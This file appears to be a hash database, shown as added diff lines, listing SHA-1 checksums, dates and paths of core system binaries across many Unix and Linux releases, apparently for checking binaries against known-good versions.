+257C4EAE52056277EFA60A7457F6D2411BF700D7 Tue Jul 10 17:22:52 2001 /usr/sbin/in.tftpd [Solaris 2.8 Generic x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /bin/find [Solaris 2.8 Generic x86] +FF0371281535915E9D38C2C35B16D417BEBD9FF4 Fri Jul 27 19:47:08 2001 /usr/bin/find [Solaris 2.8 Generic x86] +1CB41885B0FA55036E6EBD9DF0A60D8EBC213CD7 Fri Aug 31 14:09:22 2001 /usr/sbin/in.ftpd [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /bin/su [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /usr/bin/su [Solaris 2.8 Generic x86] +1A3A99C09C22A30F88645E86012E68BD202988E6 Mon Nov 5 12:45:07 2001 /sbin/sh [Solaris 2.8 Generic x86] +7A6D8D12AD29FFB2B092095399EAB80673A7DB44 Mon Nov 5 12:45:08 2001 /bin/sh [Solaris 2.8 Generic x86] +7A6D8D12AD29FFB2B092095399EAB80673A7DB44 Mon Nov 5 12:45:08 2001 /usr/bin/sh [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /bin/netstat [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /usr/bin/netstat [Solaris 2.8 Generic x86] +B2147E37E8F4EBBE835BB1CF53BEFF21C141EB94 Mon Dec 17 17:25:21 2001 /bin/login [Solaris 2.8 Generic x86] +B2147E37E8F4EBBE835BB1CF53BEFF21C141EB94 Mon Dec 17 17:25:21 2001 /usr/bin/login [Solaris 2.8 Generic x86] +23881A81A8AE07D254A91DA04F760A8F59D5DE1C Mon Nov 5 12:43:11 2001 /sbin/su [Solaris 2.8 Generic x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/w [Solaris 2.8 Generic x86] +A0DD3CD838E107591AF706DA18EAA0100293E230 Wed Jan 5 22:27:18 2000 /usr/ucb/telnet [Solaris 2.8 Generic x86] +8B71578C92E4B4165E8CB9C2F24EC2A6462AA818 Mon Dec 3 12:20:54 2001 /usr/ucb/netstat [Solaris 2.8 Generic x86] + +713C9693B28A64904B560CE6C23425FDE4AB392A Wed Mar 24 02:34:26 1999 /bin/rm [RedHat 6.0] +12E95288A7005470EF137101E238C5716CAE2B92 Wed Mar 24 02:34:26 1999 /bin/ls [RedHat 6.0] +1238AD79E200FD50E21A3A4DEF60333F968459C2 Thu Mar 25 01:29:45 1999 /sbin/arp [RedHat 6.0] +4296892109596857538E540A83DC62B09A09E2F5 Thu Mar 25 01:29:45 1999 /bin/netstat [RedHat 6.0] +9E8C6728C6F981CE715AAAF047ADCD80DE21F0D3 Mon Mar 29 22:05:00 1999 /usr/bin/find [RedHat 6.0] +67B13564196C698EB71ECBBC79A77E3B62F42BD0 Sat Apr 3 18:09:50 1999 /bin/ps [RedHat 6.0] +CB4E586533A3691339B84DE79C408AD3F8DE5903 Sat Apr 3 18:09:49 1999 /usr/bin/w [RedHat 6.0] +9ABEEE9C26D6C4149B0C496F12902F3D975B7D2A Wed Apr 7 21:21:23 1999 /usr/sbin/inetd [RedHat 6.0] +72AB212339D1E62B9E5329639265E61F66796D9F Wed Apr 7 23:20:11 1999 /usr/sbin/in.tftpd [RedHat 6.0] +E63B7A3A4EF4CF9C5C51E48436256ABAD0764210 Tue Apr 13 18:58:38 1999 /bin/su [RedHat 6.0] +EB3DDBBE09EAE91CF13523BB9232CC2AAC8B22CC Thu Apr 15 19:26:44 1999 /usr/sbin/in.telnetd [RedHat 6.0] +88E4C77B411CCF0C970702D05844D1117655964E Thu Apr 15 19:26:44 1999 /usr/bin/telnet [RedHat 6.0] +87AF69478C86FFE829FC48A7C80196DF3D202AB2 Thu Apr 15 22:48:52 1999 /usr/sbin/in.rshd [RedHat 6.0] +1ED191F5DAEDE6E91B07B6F28EE2A10ED141FC70 Thu Apr 15 22:48:52 1999 /usr/sbin/in.rlogind [RedHat 6.0] +D62915BF6BDA5EE7A8FE730863E5F3762E6C5FFF Mon Apr 19 21:46:43 1999 /sbin/modinfo [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/in.ftpd [RedHat 6.0] +ABF9E85F572FA1581AA03E57AAAD7B6C17634C4C Fri Jun 11 16:39:59 1999 /bin/login [RedHat 6.0] +930F001862AAD9BD09C865057C5A50928131C9BB Tue Apr 6 16:33:11 1999 /bin/sh [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/in.wuftpd [RedHat 6.0] +3AD70D834A2D5E3ECA11576F6D33084D8890A364 Tue Jun 8 12:55:19 1999 /usr/sbin/wu.ftpd [RedHat 6.0] + +3CB48684C0FA647E1EF9CBB51198CF2AEFDB07D2 Mon Feb 21 19:29:05 2005 /sbin/modinfo [CentOS 4.2] +7FFE3B3BA86921228D0471EC76B9F891362ACB39 Tue Feb 22 00:57:48 2005 /usr/bin/find [CentOS 4.2] +A481067AFC4431978EFDFF3CB3ECC2E47CAF3D2A Sun Apr 10 03:37:53 2005 /sbin/arp [CentOS 4.2] +5A1C24653A84968DA981F41CA7F49ED158C2261F Sun Apr 10 03:37:53 2005 /bin/netstat [CentOS 4.2] +5AD7323C5CECC8D70E05ABDD1D37747737349624 Tue Jun 14 20:45:53 2005 /usr/bin/telnet [CentOS 4.2] +5E2AB48E665A986A6F018ACF91F75890DA8C99A3 Mon Aug 22 00:35:54 2005 /usr/sbin/xinetd [CentOS 4.2] +D10A1E74FC55CB1E9E76F95D0B409775B8D978FA Mon Aug 22 00:40:52 2005 /bin/login [CentOS 4.2] +8B92A3B1FD1EA9E96AA342198BA8647FDC018E28 Mon Aug 22 02:59:38 2005 /usr/bin/w [CentOS 4.2] +23B15F3F87ED3D27A583D9CB2DD29D232489DCCB Mon Aug 22 02:59:38 2005 /bin/ps [CentOS 4.2] +347554DEE608502CD48E43837586C817C2577338 Tue Aug 23 09:50:02 2005 /bin/su [CentOS 4.2] +E6FB36FEC926E9D1679A9550253C1C42B371C421 Tue Aug 23 09:50:15 2005 /bin/rm [CentOS 4.2] +EB3CE1DA7C2C3CDFFB67363D2B1C206E83384F60 Tue Aug 23 09:50:15 2005 /bin/ls [CentOS 4.2] +CB322CDAAA4F1999A01BF3622E2E881B18EDA6CC Mon Feb 21 21:41:01 2005 /bin/sh [CentOS 4.2] + +AAD4C378D36058BC44465816D3405257CC2856A6 Mon Feb 21 15:21:52 2005 /usr/sbin/xinetd [CentOS 4.0] +336E3E98E5ED38A5639D7F16F76ADA54BC124407 Mon Feb 21 15:39:27 2005 /bin/login [CentOS 4.0] +D984CD2E69C7934B0925350581C4AB651DD56CEE Mon Feb 21 15:52:50 2005 /usr/bin/telnet [CentOS 4.0] +3F131942212D56A2DE5C15475160BAB2F266C138 Mon Feb 21 16:50:21 2005 /usr/bin/w [CentOS 4.0] +2F7A330A7F5ACD634052B5FD3AE16FF0F2624A47 Mon Feb 21 16:50:21 2005 /bin/ps [CentOS 4.0] +1ACA01E54FE75F7007CC06D97E9A27B4002A684E Mon Feb 21 18:01:03 2005 /sbin/arp [CentOS 4.0] +4C7E6B191B148DA205660010EF43854563FB4221 Mon Feb 21 18:01:03 2005 /bin/netstat [CentOS 4.0] +EB826E57841DB24BB119F4B2B9678358EFD98AC5 Mon Feb 21 19:29:05 2005 /sbin/modinfo [CentOS 4.0] +1F15A4B75078449491DFEF8F38A3A55383E01043 Mon Feb 21 20:05:09 2005 /bin/su [CentOS 4.0] +6CA1CCA1A7E3CDFD86AB55A2B7CD00E1B55AFF60 Mon Feb 21 20:05:24 2005 /bin/rm [CentOS 4.0] +66C1EB41FD284957C8217D27A83274F2C6DF2AC7 Mon Feb 21 20:05:24 2005 /bin/ls [CentOS 4.0] +B0A7F3BF9E1BC8E362180D2B80817B5D2422BE6F Tue Feb 22 00:57:48 2005 /usr/bin/find [CentOS 4.0] +9E1D6E61181CBD762E27FD371989ABD5F06FED71 Mon Feb 21 21:41:01 2005 /bin/sh [CentOS 4.0] + +4384946EA56AD7B305196CBD81428C5831A8232E Fri May 1 06:05:30 2009 /bin/ls [FreeBSD 7.2 x86_64] +ED37FAC70F7839AE7DE0C9E769D37247B25C6754 Fri May 1 06:05:30 2009 /bin/ps [FreeBSD 7.2 x86_64] +85644F395C4BC5EB88E153D23FFC06E9003D3197 Fri May 1 06:05:30 2009 /bin/sh [FreeBSD 7.2 x86_64] +227ED66A16E98C43CD8ADD250EC252905EF3A0E2 Fri May 1 06:05:30 2009 /bin/rm [FreeBSD 7.2 x86_64] +7CED7AAF1EB965BB74CCB1D456FA2B30C21FAA85 Fri May 1 06:06:54 2009 /usr/bin/su [FreeBSD 7.2 x86_64] +3B4A9BDD9F063AE9C1F1083ED033A4FF5EFE41E8 Fri May 1 06:06:50 2009 /usr/bin/login [FreeBSD 7.2 x86_64] +BD5CFDB7F6F3803EEE51A3E64E67DE259F356A2C Fri May 1 06:06:51 2009 /usr/bin/netstat [FreeBSD 7.2 x86_64] +15D24BEEF395A1E2716706A4AFDE42ABA7E119B5 Fri May 1 06:06:46 2009 /usr/bin/find [FreeBSD 7.2 x86_64] +6369D2D877380FB04CF2171375886D7EAE5F1927 Fri May 1 06:06:55 2009 /usr/bin/telnet [FreeBSD 7.2 x86_64] +BB9545179A82B7531BED9CE622BAD1BDCFB300A2 Fri May 1 06:06:57 2009 /usr/bin/w [FreeBSD 7.2 x86_64] +7BE2AA85DEC94870D8DE0E52546F07EE241536BB Fri May 1 06:07:02 2009 /usr/sbin/arp [FreeBSD 7.2 x86_64] +98413A93AC02F85B8FD3E19DCEBDB189F3ACA7A2 Fri May 1 06:07:08 2009 /usr/sbin/inetd [FreeBSD 7.2 x86_64] + +E6B3D12DB0E3D7E39FA86CF20D1DBB5FCA49C604 Wed Jan 16 00:31:01 2008 /bin/ls [FreeBSD 6.3] +241E780165D77FFC4676A15897AFC362C8FD7BCD Wed Jan 16 00:31:02 2008 /bin/ps [FreeBSD 6.3] +BBC67E984DEDE892A6BEF644DB9F9F3452A5D0E8 Wed Jan 16 00:31:02 2008 /bin/sh [FreeBSD 6.3] +A94B4C40773E4D01DC30F8AABA6EEB34E6498C7C Wed Jan 16 00:31:02 2008 /bin/rm [FreeBSD 6.3] +BA32A1E39C0858DDA46EB3B4A1E8E3FDD07A086C Wed Jan 16 00:32:51 2008 /usr/bin/su [FreeBSD 6.3] +80E652F089FEF05D62BFAA2DF991BB88AC1FB0DB Wed Jan 16 00:32:45 2008 /usr/bin/login [FreeBSD 6.3] +5A60BEBBF23CDB8BC08DF1F795D9B7590F0C63E1 Wed Jan 16 00:32:47 2008 /usr/bin/netstat [FreeBSD 6.3] +7DF722883B1AA7D1ABFFDA1176C667DF86A433CE Wed Jan 16 00:32:41 2008 /usr/bin/find [FreeBSD 6.3] +690DD07A53B3954BAF735E9B718B36A6C45F314E Wed Jan 16 00:32:52 2008 /usr/bin/telnet [FreeBSD 6.3] +8C0A8D9086EDB5020E56EEF614AB12E71BD5BD83 Wed Jan 16 00:32:57 2008 /usr/bin/w [FreeBSD 6.3] +557E0FD8D747888CC2F0AED0A264454977BE6F82 Wed Jan 16 00:33:01 2008 /usr/sbin/arp [FreeBSD 6.3] +C6C4E6C0D79BED2719B5650D6F2F56954243985B Wed Jan 16 00:33:08 2008 /usr/sbin/inetd [FreeBSD 6.3] + +32B93B4A47149412D497A8A2981F8AB0DD067C6D Fri Nov 7 08:00:00 1997 /bin/login [HP-UX B.11.00] +32B93B4A47149412D497A8A2981F8AB0DD067C6D Fri Nov 7 08:00:00 1997 /usr/bin/login [HP-UX B.11.00] +904829DF633946E66AA05ADCE1DF27F113759237 Fri Nov 7 08:00:00 1997 /bin/w [HP-UX B.11.00] +904829DF633946E66AA05ADCE1DF27F113759237 Fri Nov 7 08:00:00 1997 /usr/bin/w [HP-UX B.11.00] +B05BCFACBE5168CD8797F68F0A3B1A032B52373A Fri Nov 7 08:00:00 1997 /bin/find [HP-UX B.11.00] +B05BCFACBE5168CD8797F68F0A3B1A032B52373A Fri Nov 7 08:00:00 1997 /usr/bin/find [HP-UX B.11.00] +C479CD2ED9AF834C3C22F82797D3E657831416B2 Fri Nov 7 08:00:00 1997 /sbin/rm [HP-UX B.11.00] +E04C1C8FAE475B836DD33072AD2AA246717B80AF Fri Nov 7 08:00:00 1997 /sbin/ls [HP-UX B.11.00] +DC051B44C836ED2E74FA167B2BC0AC530723916A Fri Nov 7 08:00:00 1997 /bin/ps [HP-UX B.11.00] +DC051B44C836ED2E74FA167B2BC0AC530723916A Fri Nov 7 08:00:00 1997 /usr/bin/ps [HP-UX B.11.00] +3D55E5FEC0CDF2B00B1D9C79999E45430214A581 Fri Nov 7 08:00:00 1997 /bin/rm [HP-UX B.11.00] +3D55E5FEC0CDF2B00B1D9C79999E45430214A581 Fri Nov 7 08:00:00 1997 /usr/bin/rm [HP-UX B.11.00] +1D6A420D95CAD471B8AFF8094063D8407435861F Fri Nov 7 08:00:00 1997 /bin/ls [HP-UX B.11.00] +1D6A420D95CAD471B8AFF8094063D8407435861F Fri Nov 7 08:00:00 1997 /usr/bin/ls [HP-UX B.11.00] +74D13A2BC0CC9022CA50B0C4015939A2347882DC Thu Aug 6 17:03:43 1998 /bin/su [HP-UX B.11.00] +74D13A2BC0CC9022CA50B0C4015939A2347882DC Thu Aug 6 17:03:43 1998 /usr/bin/su [HP-UX B.11.00] +B2D3DF5F7BB50B44BC9BDF2B8B4290174DA6A204 Fri Sep 25 20:18:39 1998 /usr/sbin/arp [HP-UX B.11.00] +1C82C3F53F95C343C4B6480C74058AC09CDA3AF6 Wed Oct 14 11:54:53 1998 /bin/telnet [HP-UX B.11.00] +1C82C3F53F95C343C4B6480C74058AC09CDA3AF6 Wed Oct 14 11:54:53 1998 /usr/bin/telnet [HP-UX B.11.00] +334FFF350C04A4DAAC87F3F844D1D4577BE0E52F Thu Jan 28 23:21:53 1999 /bin/netstat [HP-UX B.11.00] +334FFF350C04A4DAAC87F3F844D1D4577BE0E52F Thu Jan 28 23:21:53 1999 /usr/bin/netstat [HP-UX B.11.00] +FA386DBFD014A37516628AA58CC2586607E48202 Tue Apr 27 08:14:46 1999 /sbin/sh [HP-UX B.11.00] +FBA2F507DD2425653F359218CC5733E95C7D74B0 Tue Apr 27 08:14:41 1999 /bin/sh [HP-UX B.11.00] +FBA2F507DD2425653F359218CC5733E95C7D74B0 Tue Apr 27 08:14:41 1999 /usr/bin/sh [HP-UX B.11.00] +8E6FF7A818985DEBFF87D7E217508657AEB7FE73 Mon Apr 7 19:25:26 2008 /usr/sbin/inetd [HP-UX B.11.00] + +669DBA50165389651E8318EEF2CAF9E73DEED8D9 Wed Sep 27 07:52:33 2006 /usr/bin/find [CentOS 4.8 x86_64] +A3B0118D481BEEB2799B1AE5DC8FAD03D8A4D256 Sat Nov 17 13:03:33 2007 /usr/bin/telnet [CentOS 4.8 x86_64] +17D6548B1AFA4628F39F2DAC51D65222A95CB473 Fri Jul 25 12:58:11 2008 /usr/sbin/xinetd [CentOS 4.8 x86_64] +C86A0C33EA94B26FA1B6075FEE4C1C2DE807656C Fri Jul 25 14:55:33 2008 /sbin/arp [CentOS 4.8 x86_64] +55A93301573519DAE8A241E13219D60AD843D383 Fri Jul 25 14:55:33 2008 /bin/netstat [CentOS 4.8 x86_64] +02C0FE6EA4895C145542FA2CFDEDDD2599A1DBB2 Mon Jun 1 18:10:56 2009 /sbin/modinfo [CentOS 4.8 x86_64] +8599A37D992714ED999F463EBA486C5111FC8D21 Mon Jun 1 18:23:29 2009 /bin/login [CentOS 4.8 x86_64] +96327926BE9235B98321FAA13B06F806AE742F44 Mon Jun 1 18:36:53 2009 /usr/bin/w [CentOS 4.8 x86_64] +455AFE324EDFC0F5F8319676647DEC141B85D2A2 Mon Jun 1 18:36:53 2009 /bin/ps [CentOS 4.8 x86_64] +147B11220D55983D1D603235D3F7A332D3AE369A Thu Jul 2 16:51:49 2009 /bin/su [CentOS 4.8 x86_64] +C17F28892A2C566D87069E755D6EB76C7F83A621 Thu Jul 2 16:51:51 2009 /bin/rm [CentOS 4.8 x86_64] +B0283F761F6CFD6DFB8429717677351B396B94EB Thu Jul 2 16:51:51 2009 /bin/ls [CentOS 4.8 x86_64] +CE991DC8E910FF84B221B2375EF86F4CCF23D3DA Mon Jun 1 14:47:13 2009 /bin/sh [CentOS 4.8 x86_64] + +1181151D93B1CD2E93D4B16F5B1C4241050F8E69 Fri May 1 06:54:16 2009 /bin/ls [FreeBSD 7.2] +DB382ED1F8074DE25F7C8385FD1885838F52B20B Fri May 1 06:54:17 2009 /bin/ps [FreeBSD 7.2] +21E4C5A204F647DAFAAEAB989DB4C7DC34067EB2 Fri May 1 06:54:17 2009 /bin/sh [FreeBSD 7.2] +2114F8C0AFE6A881CB6ABA9FE9CCE0E7925DA2FB Fri May 1 06:54:17 2009 /bin/rm [FreeBSD 7.2] +F70BB039DECC1D37466A5DD583AC24CFE6B9DA92 Fri May 1 06:55:56 2009 /usr/bin/find [FreeBSD 7.2] +A46B9EB0E666EBF3ADCF859436B6286F9E65EF1B Fri May 1 06:56:06 2009 /usr/bin/su [FreeBSD 7.2] +6836E07693259C53D7D132D2E58CD9FD4057D3BE Fri May 1 06:56:00 2009 /usr/bin/login [FreeBSD 7.2] +358D6617851C58D74D9D00296279213FA97413E8 Fri May 1 06:56:02 2009 /usr/bin/netstat [FreeBSD 7.2] +28D55E1F48FD48CA1C4E8404FDEEB7C9DC7B0206 Fri May 1 06:56:15 2009 /usr/sbin/arp [FreeBSD 7.2] +E847B015C12F3D310F249FD03B9DE8A95AB9CC28 Fri May 1 06:56:25 2009 /usr/sbin/inetd [FreeBSD 7.2] +A76FAB2FC29990CBA110D65FCF7A14F1D22958EA Fri May 1 06:56:07 2009 /usr/bin/telnet [FreeBSD 7.2] +FD71EED33E1AF0DBB4601CECCEBEBCFA84C98C17 Fri May 1 06:56:10 2009 /usr/bin/w [FreeBSD 7.2] + +BAA3138C4E5B7A45D3CFBEB346F77AC4D2B42DF0 Fri Jun 16 13:18:12 2006 /usr/sbin/xinetd [SuSE Enterprise 10.1] +EAAFE3A80CE802773E0A2C80AD1960548F93E28B Fri Jun 16 13:20:32 2006 /usr/bin/telnet [SuSE Enterprise 10.1] +757EA4DACB38C6990C21ED2ED76FEFC8A367BCC4 Fri Jun 16 13:26:09 2006 /usr/bin/opieftpd [SuSE Enterprise 10.1] +F52085AC51222EC245738422210E7EA31CF02C4F Fri Jun 16 13:41:01 2006 /sbin/arp [SuSE Enterprise 10.1] +5EA24906BA0D850C9335BE270114D86984BB466B Fri Jun 16 13:41:00 2006 /bin/netstat [SuSE Enterprise 10.1] +0A3350A15BFE06EAB905EEFD36532E9CB764B734 Fri Aug 25 16:36:54 2006 /usr/bin/w [SuSE Enterprise 10.1] +0999CF20950DBA7E367384F3B6B9370126AFE299 Fri Aug 25 16:36:53 2006 /bin/ps [SuSE Enterprise 10.1] +F534D71932D1388D16631DF82429900462D8460C Thu May 3 13:44:43 2007 /sbin/modinfo [SuSE Enterprise 10.1] +DADC2687F8741DE4A4C57C1C2B076EA05CD163C1 Thu May 3 13:49:44 2007 /usr/bin/find [SuSE Enterprise 10.1] +7DEDB0B145C686EBB426EDC92FC68B82FD7C67FE Thu May 3 14:03:26 2007 /bin/su [SuSE Enterprise 10.1] +6C5AF0E2BA37F8A00C0C2F878E6507DA929D5637 Thu May 3 14:03:25 2007 /bin/rm [SuSE Enterprise 10.1] +40FB083FDFBFB633B5646E87E5854D58D62BBE5D Thu May 3 14:03:25 2007 /bin/ls [SuSE Enterprise 10.1] +F11151F7A7CA3E6F6ED224C9FE1E58C9047E0A2A Fri May 4 11:30:07 2007 /bin/login [SuSE Enterprise 10.1] +238EFECEE4B32D363C19E83C02018F51E932F566 Thu May 3 13:46:25 2007 /bin/sh [SuSE Enterprise 10.1] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 13:18:12 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.1] + +F1BC961389896EE182DD6FA2830476E862DE3008 Thu Nov 6 00:00:42 2008 /usr/sbin/update-inetd [Ubuntu 9.10] +4232701C4A5AC1C0EFBED606B9D6044CEA57866A Mon May 4 14:20:17 2009 /usr/sbin/arp [Ubuntu 9.10] +95702EF92BF4CBDD64C112F7471797FE15234645 Mon May 4 14:20:17 2009 /bin/netstat [Ubuntu 9.10] +B47CF7ECDABBC24E1F063C1891003D92BD635E37 Mon Jun 15 09:28:38 2009 /usr/bin/find [Ubuntu 9.10] +5B6B47B0C9CF29D70D6FBC89773B9447F7DC05E5 Fri Jul 31 13:55:36 2009 /bin/su [Ubuntu 9.10] +4E1ABD52F4F8B3E6463922937ABF5E1948E9CE90 Fri Jul 31 13:55:36 2009 /bin/login [Ubuntu 9.10] +8F76990312CDA63224EEF01095A10DD2FB591A1A Tue Sep 15 21:46:13 2009 /sbin/modinfo [Ubuntu 9.10] +326CAE38CE2B9D9515502558931D0442BB89A797 Tue Sep 15 21:46:40 2009 /bin/ps [Ubuntu 9.10] +6FE34D9E1F6DD30B96588F0E7CF12384F4A25080 Tue Oct 6 11:07:38 2009 /bin/rm [Ubuntu 9.10] +DDF15D0592C484692426D2C9E5D537B81476C0E6 Tue Oct 6 11:07:38 2009 /bin/ls [Ubuntu 9.10] +2D3D1DCF31C0EED5F4A34179792A470B76DED2F3 Sun Sep 20 23:49:06 2009 /bin/sh [Ubuntu 9.10] +7B576943C48E51561CFD316189A83354EE03AAA4 Tue Sep 15 21:46:41 2009 /usr/bin/w [Ubuntu 9.10] +745E49B58E899026ADB6EEDE2CD2DE5529737B4F Wed Jan 21 12:27:05 2009 /usr/bin/telnet [Ubuntu 9.10] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.1] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.1] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.1] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.1] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.1] +24BA5A9A2E28D2ED0EF63C7083AC0F729B50A5EB Tue Aug 17 02:42:18 2004 /usr/bin/w [Slackware 10.1] +4CCFADC7F563357899BBC9278C27C00B2DA39C3A Tue Aug 17 02:42:18 2004 /bin/ps [Slackware 10.1] +2686EDC157FBCFAD28AD19A16432C06D271E2DE4 Fri Sep 3 19:16:43 2004 /usr/sbin/vsftpd [Slackware 10.1] +44A52252554D2606C92B16524CD8B352F7620C39 Fri Sep 3 19:53:18 2004 /usr/sbin/inetd [Slackware 10.1] +DDC71F0D928E935F81EF58F49CB90401AE0C4465 Sat Sep 18 22:49:33 2004 /usr/sbin/proftpd [Slackware 10.1] +1C2CE3EB344A932D60FE0DEC60AC30F67ED75874 Thu Nov 4 04:54:53 2004 /usr/sbin/in.rshd [Slackware 10.1] +98AE1C12B5A0696F2A0FD0130239CB087B5A7F56 Thu Nov 4 04:54:54 2004 /usr/sbin/in.rlogind [Slackware 10.1] +D9DA91852A1ACCDF6FCBD5843506662E6050C0F7 Thu Nov 4 04:54:20 2004 /sbin/arp [Slackware 10.1] +BA572B78EF9A9D28CFF57389183AAD97A707C8EC Thu Nov 4 04:54:20 2004 /bin/netstat [Slackware 10.1] +AF6968B03B43900B24D478BCCB847DC272491DD4 Thu Nov 4 04:55:06 2004 /usr/sbin/in.telnetd [Slackware 10.1] +BA3183F4BE35761A8F5496777F47D890EB40603A Thu Nov 4 04:55:29 2004 /usr/sbin/in.tftpd [Slackware 10.1] +C3AB419E94D3D8DFFD2BD93A5D7B134F3AABED0F Thu Nov 4 04:55:12 2004 /bin/telnet [Slackware 10.1] +A1B7903529A1D68D3817871C47AEB5AA139228B3 Sun Jan 2 01:27:21 2005 /sbin/modinfo [Slackware 10.1] +D1E4E4F2A3189C9D41DC4260176477854DE54394 Wed Nov 3 22:30:35 2004 /bin/sh [Slackware 10.1] +4CCFADC7F563357899BBC9278C27C00B2DA39C3A Tue Aug 17 02:42:18 2004 /usr/bin/ps [Slackware 10.1] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.1] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.1] +DDC71F0D928E935F81EF58F49CB90401AE0C4465 Sat Sep 18 22:49:33 2004 /usr/sbin/in.proftpd [Slackware 10.1] + +EAFB3AAAC97983476512E488F75DD169F5FA7A91 Sun Apr 7 10:24:08 2002 /usr/bin/find [Slackware 10.0] +C5D9082B14287DAEC9030BA80185617966D4E410 Sun Feb 29 20:25:37 2004 /sbin/modinfo [Slackware 10.0] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /bin/rm [Slackware 10.0] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /bin/ls [Slackware 10.0] +512BBBD98BC1F9A922717E4E701FC35BAE3F44D9 Thu May 27 21:04:36 2004 /usr/bin/w [Slackware 10.0] +8320F5D749A184863830A3660625EED773B6696E Thu May 27 21:04:36 2004 /bin/ps [Slackware 10.0] +F46D572BBAF6FF07DC0D4EE8C0467D88B4FC6C67 Mon Jun 7 20:32:31 2004 /usr/sbin/proftpd [Slackware 10.0] +961D0C0901701D1630C5271AA8A67E24836B8EA8 Sun Jun 13 20:41:05 2004 /usr/sbin/inetd [Slackware 10.0] +C9A1135F97D7A76C9AEEFE41FF8FA444AD73841E Mon Jun 21 19:20:52 2004 /bin/su [Slackware 10.0] +9770FAD790FE4980560391ABEDA976753D7322EB Mon Jun 21 19:20:52 2004 /bin/login [Slackware 10.0] +EEEB2BE7597DF5BA39FEBC3145DCA2766A920DCB Mon Jun 21 21:31:55 2004 /sbin/arp [Slackware 10.0] +888F5431FDD6C52B3763ABF3C94E3CF19259054B Mon Jun 21 21:31:55 2004 /bin/netstat [Slackware 10.0] +8D2888DCF584FBD33067291DB5BBA411EA6E43F7 Mon Jun 21 21:32:23 2004 /usr/sbin/in.rshd [Slackware 10.0] +490815952111642630F9978A8ADD2932E3104365 Mon Jun 21 21:32:23 2004 /usr/sbin/in.rlogind [Slackware 10.0] +65406EEDD927E98DF1DABAD07C6F70D9BB7D97CF Mon Jun 21 21:32:33 2004 /usr/sbin/in.telnetd [Slackware 10.0] +AF1AB314BA878B7D5A274A2C86A0601C75979406 Mon Jun 21 21:32:52 2004 /usr/sbin/in.tftpd [Slackware 10.0] +BE070E516C0AC538A1B3C46DF3D46D9E9CF01CEF Mon Jun 21 21:32:37 2004 /bin/telnet [Slackware 10.0] +D2AF07625565FA525394BD3A668EDADAC5E1C07D Mon Jun 23 23:15:47 2003 /bin/sh [Slackware 10.0] +2683E4A46D2C2E1123106B236E7FCE0406087F8E Tue Mar 16 02:08:59 2004 /usr/bin/ls [Slackware 10.0] +271D28A4D44242A6E962437CBA90BD14E4A86716 Tue Mar 16 02:08:59 2004 /usr/bin/rm [Slackware 10.0] +8320F5D749A184863830A3660625EED773B6696E Thu May 27 21:04:36 2004 /usr/bin/ps [Slackware 10.0] +F46D572BBAF6FF07DC0D4EE8C0467D88B4FC6C67 Mon Jun 7 20:32:31 2004 /usr/sbin/in.proftpd [Slackware 10.0] + +B657369153A2E02E82DF31B732829DC7FAEF0699 Fri Jun 18 19:36:37 2004 /usr/sbin/xinetd [Fedora 3] +03BFFFEC982AAD1ED9E4FA0F9D434DBA876CA823 Mon Jul 5 08:57:18 2004 /usr/bin/telnet [Fedora 3] +A7331381C746C367321DDC1C6E540E5D4C1B453E Wed Sep 22 22:12:14 2004 /sbin/modinfo [Fedora 3] +EB15BAFC791C676F1EAFE3F1D36DDF7B159D11E7 Tue Sep 28 18:10:02 2004 /usr/bin/w [Fedora 3] +88F447A6F6620F2282C602365EEA51741EDC536B Tue Sep 28 18:10:02 2004 /bin/ps [Fedora 3] +1F38E482DB83340F7A0D25A3225C2FA5BFEA21CF Thu Sep 30 12:49:50 2004 /sbin/arp [Fedora 3] +D21C9CF8D64EA88EA157631D980997007C3B0880 Thu Sep 30 12:49:51 2004 /bin/netstat [Fedora 3] +1DDD26020F07254BA7B583A93D8C036E6FECF19A Tue Oct 5 15:50:15 2004 /bin/su [Fedora 3] +DCE214C843D55C604D4811D4F558DDFB54EBF2E7 Tue Oct 5 15:50:21 2004 /bin/rm [Fedora 3] +D56DC67118EC5891283C2C8BF89D8DD3CAB95966 Tue Oct 5 15:50:21 2004 /bin/ls [Fedora 3] +F2A64A8E3703B152CF77A504D3C7792F6C480F40 Thu Oct 14 18:04:42 2004 /bin/login [Fedora 3] +581E179B173D486B283F7F131C2CF1D2C123AA34 Tue Oct 19 18:53:23 2004 /usr/bin/find [Fedora 3] +DA529135EDB7C868BB537B50AA65EACF7763DC2D Tue Oct 19 19:40:07 2004 /bin/sh [Fedora 3] + +8D23FFFB481278F0A7D220240A3DA1C53A6DA751 Sat Dec 1 09:10:47 2007 /usr/bin/telnet [RedHat Enterprise 5.6] 